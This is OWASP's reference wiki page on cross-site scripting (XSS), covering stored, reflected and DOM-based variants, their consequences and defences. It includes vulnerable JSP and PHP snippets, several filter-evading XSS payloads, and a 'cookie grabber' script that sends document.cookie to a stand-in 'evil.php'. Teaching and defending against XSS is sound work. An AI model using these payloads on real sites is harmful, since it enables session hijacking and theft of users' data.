



[Home](#)
[About OWASP](#)
[Acknowledgements](#)
[Advertising](#)
[AppSec Events](#)
[Books](#)
[Brand Resources](#)
[Chapters](#)
[Donate to OWASP](#)
[Downloads](#)
[Funding](#)
[Governance](#)
[Initiatives](#)
[Mailing Lists](#)
[Membership](#)
[Merchandise](#)
[News](#)
[Community portal](#)
[Presentations](#)
[Press](#)
[Projects](#)
[Video](#)
[Volunteer](#)

Reference

[Activities](#)
[Attacks](#)
[Code Snippets](#)
[Controls](#)
[Glossary](#)
[How To...](#)
[Java Project](#)
[.NET Project](#)
[Principles](#)
[Technologies](#)
[Threat Agents](#)
[Vulnerabilities](#)

Tools

[What links here](#)
[Related changes](#)
[Special pages](#)
[Printable version](#)
[Permanent link](#)
[Page information](#)

Page

[Discussion](#)

Read

[View source](#)[View history](#)

Cross-site Scripting (XSS)

This is an **Attack**. To view all attacks, please see the [Attack Category](#) page.

Last revision (mm/dd/yy): **03/6/2018**

Overview

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page. For more details on the different types of XSS flaws, see: [Types of Cross-Site Scripting](#).

Related Security Activities

How to Avoid Cross-site scripting Vulnerabilities

See the [XSS \(Cross Site Scripting\) Prevention Cheat Sheet](#)

See the [DOM based XSS Prevention Cheat Sheet](#)

See the [OWASP Development Guide](#) article on [Phishing](#).

See the [OWASP Development Guide](#) article on [Data Validation](#).

How to Review Code for Cross-site scripting Vulnerabilities

See the [OWASP Code Review Guide](#) article on [Reviewing Code for Cross-site scripting Vulnerabilities](#).

How to Test for Cross-site scripting Vulnerabilities

See the latest [OWASP Testing Guide](#) article on how to test for the various kinds of XSS vulnerabilities.

- [Testing_for_Reflected_Cross_site_scripting_\(OWASP-DV-001\)](#)
- [Testing_for_Stored_Cross_site_scripting_\(OWASP-DV-002\)](#)
- [Testing_for_DOM-based_Cross_site_scripting_\(OWASP-DV-003\)](#)

Description

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.
2. The data is included in dynamic content that is sent to a web user without being validated for malicious content.

The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Stored and Reflected XSS Attacks

XSS attacks can generally be categorized into two categories: stored and reflected. There is a third, much less well known type of XSS attack called [DOM Based XSS](#) that is discussed separately [here](#).

Stored XSS Attacks

Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS.

Reflected XSS Attacks

Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other web site. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS.

Other Types of XSS Vulnerabilities

In addition to Stored and Reflected XSS, another type of XSS, [DOM Based XSS](#) was identified by [Amit Klein in 2005](#)⁴. OWASP recommends the XSS categorization as described in the OWASP Article: [Types of Cross-Site Scripting](#), which covers all these XSS terms, organizing them into a matrix of Stored vs. Reflected XSS and Server vs. Client XSS, where DOM Based XSS is a subset of Client XSS.

XSS Attack Consequences

The consequence of an XSS attack is the same regardless of whether it is stored or reflected ([or DOM Based](#)). The difference is in how the payload arrives at the server. Do not be fooled into thinking that a "read only" or "brochureware" site is not vulnerable to serious reflected XSS attacks. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. The most severe XSS attacks involve disclosure of the user's session cookie, allowing an attacker to hijack the user's session and take over the account. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirect the user to some other page or site, or modify presentation of content. An XSS vulnerability allowing an attacker to modify a press release or news item could affect a company's stock price or lessen consumer confidence. An XSS vulnerability on a pharmaceutical

site could allow an attacker to modify dosage information resulting in an overdose. For more information on these types of attacks see [Content_Spoofing](#).

How to Determine If You Are Vulnerable

XSS flaws can be difficult to identify and remove from a web application. The best way to find flaws is to perform a security review of the code and search for all places where input from an HTTP request could possibly make its way into the HTML output. Note that a variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto, and some other available tools can help scan a website for these flaws, but can only scratch the surface. If one part of a website is vulnerable, there is a high likelihood that there are other problems as well.

How to Protect Yourself

The primary defenses against XSS are described in the [OWASP XSS Prevention Cheat Sheet](#).

Also, it's crucial that you turn off HTTP TRACE support on all web servers. An attacker can steal cookie data via Javascript even when document.cookie is disabled or not supported on the client. This attack is mounted when a user posts a malicious script to a forum so when another user clicks the link, an asynchronous HTTP Trace call is triggered which collects the user's cookie information from the server, and then sends it over to another malicious server that collects the cookie information so the attacker can mount a session hijack attack. This is easily mitigated by removing support for HTTP TRACE on all web servers.

The [OWASP ESAPI project](#) has produced a set of reusable security components in several languages, including validation and escaping routines to prevent parameter tampering and the injection of XSS attacks. In addition, the [OWASP WebGoat Project](#) training application has lessons on Cross-Site Scripting and data encoding.

Alternate XSS Syntax

XSS using Script in Attributes

XSS attacks may be conducted without using <script></script> tags. Other tags will do exactly the same thing, for example:

```
<body onload=alert('test1')>
```

or other attributes like: onmouseover, onerror.

onmouseover

```
<b onmouseover=alert('Wufff!')>click me!</b>
```

onerror

```

```

XSS using Script Via Encoded URI Schemes

If we need to hide against web application filters we may try to encode string characters, e.g.: a=A (UTF-8) and use it in IMG tag:

```
<IMG SRC=j&#X41vascript:alert('test2')>
```

There are many different UTF-8 encoding notations what give us even more possibilities.

XSS using code encoding

We may encode our script in base64 and place it in META tag. This way we get rid of alert() totally. More information about this method can be found in [RFC 2397](#)

```
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2N
yaXB0Pg">
```

These and others examples can be found at the OWASP [XSS Filter Evasion Cheat Sheet](#) which is a true encyclopedia of the alternate XSS syntax attack.

Examples

Cross-site scripting attacks may occur anywhere that possibly malicious users are allowed to post unregulated material to a trusted web site for the consumption of other valid users.

The most common example can be found in bulletin-board web sites which provide web based mailing list-style functionality.

Example 1

The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.

```
<% String eid = request.getParameter("eid"); %> ... Employee ID: <%=
eid %>
```

The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2

The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.

```
<%... Statement stmt = conn.createStatement(); ResultSet rs =
stmt.executeQuery("select * from emp where id="+eid); if (rs != null) {
rs.next(); String name = rs.getString("name"); %> Employee Name: <%=
name %>
```

As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous

because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Stored XSS, is particularly insidious because the indirection caused by the data store makes it more difficult to identify the threat and increases the possibility that the attack will affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that may include session information, from the user's machine to the attacker or perform other nefarious activities.
- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Stored XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.
- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

Attack Examples

Example 1 : Cookie Grabber

If the application doesn't validate the input data, the attacker can easily steal a cookie from an authenticated user. All the attacker has to do is to place the following code in any posted input (ie: message boards, private messages, user profiles):

```
<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' +  
escape(document.cookie); </SCRIPT>
```

The above code will pass an escaped content of the cookie (according to RFC content must be escaped before sending it via HTTP protocol with GET method) to the evil.php script in "cakemonster" variable. The attacker then checks the results of his evil.php script (a cookie grabber script will usually write the cookie to a file) and use it.

Error Page Example

Let's assume that we have an error page, which is handling requests for a non existing pages, a classic 404 error page. We may use the code below as an example to inform user about what specific page is missing:

```
<html> <body> <? php print "Not found: " .  
urlencode($_SERVER["REQUEST_URI"]); ?> </body> </html>
```

Let's see how it works:

```
http://testsite.test/file_which_not_exist
```

In response we get:

```
Not found: /file_which_not_exist
```

Now we will try to force the error page to include our code:

```
http://testsite.test/<script>alert("TEST");</script>
```

The result is:

```
Not found: / (but with JavaScript code <script>alert("TEST");</script>)
```

We have successfully injected the code, our XSS! What does it mean? For example, that we may use this flaw to try to steal a user's session cookie.

Related [Attacks](#)

- . [XSS Attacks](#)
- . [Category:Injection Attack](#)
- . [Invoking untrusted mobile code](#)
- . [Cross Site History Manipulation \(XSHM\)](#)

Related [Vulnerabilities](#)







- . [Category:Input Validation Vulnerability](#)
- . [Cross Site Scripting Flaw](#)
- . [Types of Cross-Site Scripting](#)

Related [Controls](#)

- . [Category:Input Validation](#)
- . [HTML Entity Encoding](#)
- . [Output Validation](#)
- . [Canonicalization](#)

References

- . OWASP's [XSS \(Cross Site Scripting\) Prevention Cheat Sheet](#)

- . OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: [Data Validation](#)
- . OWASP Testing Guide, [Testing_for_Reflected_Cross_site_scripting_\(OWASP-DV-001\)](#)
- . OWASP Testing Guide, [Testing_for_Stored_Cross_site_scripting_\(OWASP-DV-002\)](#)
- . OWASP Testing Guide, [Testing_for_DOM-based_Cross_site_scripting_\(OWASP-DV-003\)](#)
- . OWASP's [How to Build an HTTP Request Validation Engine](#) (J2EE validation using OWASP's [Stinger](#))
- . Google Code Best Practice Guide: <http://code.google.com/p/doctype/wiki/ArticlesXSS> 
- . The Cross Site Scripting FAQ: <http://www.cgisecurity.com/articles/xss-faq.shtml> 
- . OWASP [XSS Filter Evasion Cheat Sheet](#)
- . CERT Advisory on Malicious HTML Tags: <http://www.cert.org/advisories/CA-2000-02.html> 
- . CERT “Understanding Malicious Content Mitigation”
http://www.cert.org/tech_tips/malicious_code_mitigation.html 
- . Understanding the cause and effect of CSS Vulnerabilities:
<http://www.technicalinfo.net/papers/CSS.html> 
- . XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites
<http://www.xssed.com> 

Categories: [OWASP ASDR Project](#) | [Security Focus Area](#) | [Injection](#)
[OWASP Top Ten Project](#) | [Code Snippet](#) | [Attack](#) | [Popular](#)

This page was last modified on 6 March 2018, at 15:52.

Content is available under [Creative Commons Attribution-ShareAlike](#) unless otherwise noted.

[Privacy policy](#) [About OWASP](#) [Disclaimers](#)

